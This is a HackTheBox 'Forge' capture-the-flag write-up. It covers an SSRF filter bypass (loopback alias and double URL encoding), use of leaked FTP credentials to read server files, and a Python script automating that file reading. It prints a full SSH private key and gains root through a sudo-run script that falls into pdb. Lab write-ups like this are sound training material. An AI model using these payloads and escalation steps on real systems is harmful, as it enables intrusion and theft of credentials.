This is a medium box on HackTheBox. It’s heavily based on some CTF-like WEB exploitation and some python code auditing. Both of which I consider one of my stronger suites so let’s see how I performed.
Challenge details:
-
Keywords:
SSRF
,Python
,LFI
-
Solution: Bypassing an IP/Host based filter to get SSRF resulting in LFI leading to foothold, and exploiting a faulty python script running with elevated privileges.
Enumeration
Since we only start out with IP addresses in these challenges, the first step was to enumerate using nmap
. I did some quick scans to kickstart my work and continued with more complicated checks while I followed down on the preliminary scans.
The results were a bit underwhelming:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 14:35 EDT
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f78656629e4876b3cccb43ad25720ac (RSA)
| 256 79df3af1fe874a57b0fd4ed054c628d9 (ECDSA)
|_ 256 b05811406d8cbdc572aa8308c551fb33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.94 seconds
We can see that FTP
is filtered, probably only available from localhost.
SSH
is unlikely to be the culprit here as I didn’t find any obvious vulnerabilities neither via searchsploit
, nor the Internet so I moved on to working with the Web UI.
Recon on the WEB
We can see the website is a sort of “Gallery” with some pretty pretty pictures.
I started an endpoint fuzzer in the background and I got some more leads to track:
> ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://forge.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://forge.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 301, Size: 224, Words: 21, Lines: 4, Duration: 93ms]
* FUZZ: uploads
[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 72ms]
* FUZZ: static
[Status: 200, Size: 929, Words: 267, Lines: 33, Duration: 90ms]
* FUZZ: upload
[Status: 200, Size: 2050, Words: 1069, Lines: 72, Duration: 230ms]
* FUZZ:
:: Progress: [87650/87650] :: Job [1/1] :: 649 req/sec :: Duration: [0:03:59] :: Errors: 0 ::
I moved on to the Upload an image
section as it was a bit more interesting.
It’s a UI to upload files …
There’s a twist however. It allows us to upload images using a URL
defined by us! That’s a disaster cooking right there as the server would need to make a request to the specified resource.
I played around with it a bit, and the requests going in look something like the following (using my own attacker machine to host a python server):
It gives you a link from where you can download the uploaded file:
Don’t be fooled. The MIME type
suggests it’s an image, but the contents are exactly what you’re hoping for, so if we can include other files, we can still read their contents easily.
Naturally, I wanted to try providing the domain name forge.htb
to it, just to see what it does.
Certain domain names are blacklisted of course. The same goes for 127.0.0.1
.
What can we do from here then?
There’s a neat trick! You can provide the address 127.0.0.2
and you’re still technically giving it the loopback address.
As a side tangent, you should know that there’s actually a loopback address range rather than one single address of 127.0.0.1. It’s simply the most well known. Read more about this here
Using this approach, we can actually confirm the FTP
service we saw earlier is indeed only available from the localhost:
More recon
When you’re stuck, do more recon … Try to understand the app more and take a step back to figure out what you’re dealing with. The inability to decide is most likely due to the lack of information. Once you see it through, everything becomes clear as day.
After playing around with the app, I noticed some strange error messages echoed back to the response when requesting certain resources:
Naturally, I jumped in the rabbit hole and read through countless pages of documentation and blog posts trying to understand what to do here but I just couldn’t understand why I was getting this shitty domain name related error.
Then it clicked … domain!
I didn’t actually enumerate everything. In fact, I did a fairly shitty job of enumeration :) So I fuzzed through the subdomains aaaand ….
It was as I thought, there’s another subdomain.
> ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -H 'Host: FUZZ.forge.htb' -u http://forge.htb -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://forge.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
[Status: 200, Size: 27, Words: 4, Lines: 2, Duration: 1501ms]
* FUZZ: admin
[Status: 200, Size: 27, Words: 4, Lines: 2, Duration: 53ms]
* FUZZ: Admin
Cool, but it’s not accessible from the outside either, only from localhost
.
How could we “redirect” a request to get to it through localhost?
Well we have an SSRF
vuln of course!
Getting to the admin page
If we can bypass the IP based filtering, we can probably bypass the domain based filtering as their method most likely isn’t very … good.
This was another roadblock. I tried multiple methods, URL encoding the domain etc. In the end, all I had to do was double encode it and everything worked as shown below:
There seemed to be only one difference between the regular page and this one, the announcements
endpoint.
Forging (get it?) a request to this will yield the following page:
curl http://forge.htb/uploads/fsHnuYQSmppRvS7dWk71
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
There are several interesting pieces of information here:
- We get a pair of credentials:
user:heightofsecurity123!
- The
upload
endpoint on the admin page supportsftp://
schemes, maybe we can access the internalFTP
server? - The
upload
endpoint now also supportsGET
request based uploads with the?u=
parameter, meaning we can use ourSSRF
without being able to issue aPOST
request like with the originalupload
endpoint
Putting these together I was able to create a payload that served me the /etc/passwd
file from the server:
url=http://%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%65%25%36%36%25%36%66%25%37%32%25%36%37%25%36%35%25%32%65%25%36%38%25%37%34%25%36%32/upload?u=ftp://user:heightofsecurity123!@127.0.0.2//etc/passwd&remote=1
An sure enough, we get the expected results:
> curl http://forge.htb/uploads/U4gcoOUuoOtdf8m0vNlW
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:NoobHacker:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ftp:x:113:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
If we make a request to a directory, we need to append a /
to the end of the request as shown below:
The results then:
> curl http://forge.htb/uploads/SLsCD6YWh1zFeCWwSK7H
drwxr-xr-x 2 0 0 4096 Feb 01 2021 PackageKit
drwxr-xr-x 2 0 0 4096 May 20 2021 UPower
drwxr-xr-x 4 0 0 4096 Feb 01 2021 X11
-rw-r--r-- 1 0 0 3028 Feb 01 2021 adduser.conf
drwxr-xr-x 2 0 0 4096 May 25 2021 alternatives
drwxr-xr-x 8 0 0 4096 Aug 19 2021 apache2
drwxr-xr-x 3 0 0 4096 Feb 01 2021 apparmor
drwxr-xr-x 7 0 0 4096 Aug 19 2021 apparmor.d
drwxr-xr-x 3 0 0 4096 Aug 19 2021 apport
drwxr-xr-x 7 0 0 4096 May 24 2021 apt
...
From here there’s a bit more work to be done:
Automating the exploit
I’m the type of person who wastes 2 months automating a task that can be done manually in 2 weeks. So I decided to create a sort of LFI Shell
using this approach to make my life easier.
The approach is the following:
- We’re working with a “global”
cwd
variable that represents our current directory - We can issue the commands
cd
andcat
to move between directories and read files - Using
cd
modifies the globalcwd
andcat
simply reads files in our current directory
After some work, I came up with the following script. It’s a bit ugly, but it works and a lot easier than copying the “uploaded” file’s link from burp and pasting it into my browser:
import requests
import json
SESS = requests.session()
URL = "http://forge.htb/upload"
DOMAIN = "http://%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%65%25%36%36%25%36%66%25%37%32%25%36%37%25%36%35%25%32%65%25%36%38%25%37%34%25%36%32"
START_PATH = "/home/user/"
HEADERS = {
"Content-type": "application/x-www-form-urlencoded",
}
def get_upload_address(resp):
link_with_trailing = resp.split('<strong><a href="')[1]
return link_with_trailing.split('">http://forge')[0]
def update_paths_from_command(cmd, cwd, filename):
if "cat" in cmd:
filename = cmd.split(" ")[1]
elif "cd" in cmd:
if ".." in cmd:
cwd = '/'.join(cwd.split("/")[:-2]) + "/"
else:
cwd += cmd.split(" ")[1] + "/"
return cwd, filename
def main():
cwd = START_PATH
cmd = ""
filename = ""
while cmd != "exit":
post_data = f'url={DOMAIN}/upload?u=ftp://user:heightofsecurity123!@127.0.0.2/{cwd + filename}&remote=1'
upload_resp = SESS.post(url=URL, data=post_data, headers=HEADERS)
link = get_upload_address(upload_resp.text)
lfi_resp = SESS.get(url=link)
print("\n" + cwd + "\n" + lfi_resp.text + "\n")
filename = ""
cmd = input("> ")
cwd, filename = update_paths_from_command(cmd, cwd, filename)
main()
Gaining foothold (and user)
Notice we’re starting from the home folder of the user … user
. Using the script above we actually get instant access to the user.txt
file so we’re past that. The problem is, this is not a shell …
It looks like one, but we can only list directories and read files. It’s less than an FTP
connection cause we cannot even upload files.
So, what do we have? We can read files, so we either need to find credentials or an identity file to log in via SSH.
Using the script I went through the application files in /var/wwww
. I was hoping to find:
- Comments with credentials
- Pyenv files with credentials
- Some connection object that receives hardcoded credentials
- Anything worthwhile …
I had no luck, so I tried reading the ~/.ssh/id_rsa
file from the user’s home folder and sure enough I got it:
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
Using this, I finally got the shell.
Getting root
From here, we needed to get to root. Instead of doing the usual dance of getting linpeas.sh
onto the system, I just tried running sudo -l
to see what I have.
> sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
Turns out we can run some remote management
script with elevated privileges.
Let’s see the file contents:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The script does the following:
- Starts a listener with a random port on
127.0.0.1
and outputs the address tostdout
- Asks for the
secretadminpassword
- Provides the user with a menu to do some management tasks
The script also catches every exception in one place and starts pdb
if anything fails. This is important!
If you’re not familiar with pdb
I recommend you get it under your belt.
On one hand, it’s a handy debugging tool but it’s also an interactive python shell where you can, for example run imports and execute os commands.
This was my ticket to get root
, but I needed to trigger PDB.
This was arguably the easiest part of the machine for me. I did the privesc completely by accident:
- I started up the script with
sudo /usr/bin/python3 /opt/remote-manage.py
- I used
nc localhost <port>
from another SSH session to connect to it - Provided the password
- Wanted to check something else so I killed
nc
- And I saw
pdb
got triggered because I abruptly closed the connection from the other side :)
From there, an import os; os.system('/bin/bash')
did the trick and we were all done
Final word and references
It might seem like the machine was simple but it still took me some time to get through it. Sometimes, solving challenges comes down to pure luck, but don’t be mistaken, the writeup is short but I spent lots of time thinking about it.
Have fun with hacking and remember, Try harder!
.
~ r4bbit